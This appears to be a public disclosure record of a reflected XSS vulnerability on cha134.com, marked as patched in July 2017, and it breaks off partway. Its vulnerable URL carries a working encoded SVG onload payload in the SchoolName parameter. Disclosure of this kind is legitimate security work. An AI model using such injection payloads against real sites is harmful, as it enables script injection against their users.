cha134.com XSS vulnerability

Vulnerable URL: http://www.cha134.com/SchoolCode.html?SchoolName=%22%3E%3Csvg/onload=prompt%28/XSSPOSED/%29%3E Details: Description| Value ---|--- Patched:| Yes, at 26.07.2017 Latest check for patch:| 26.07.2017 15:33 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...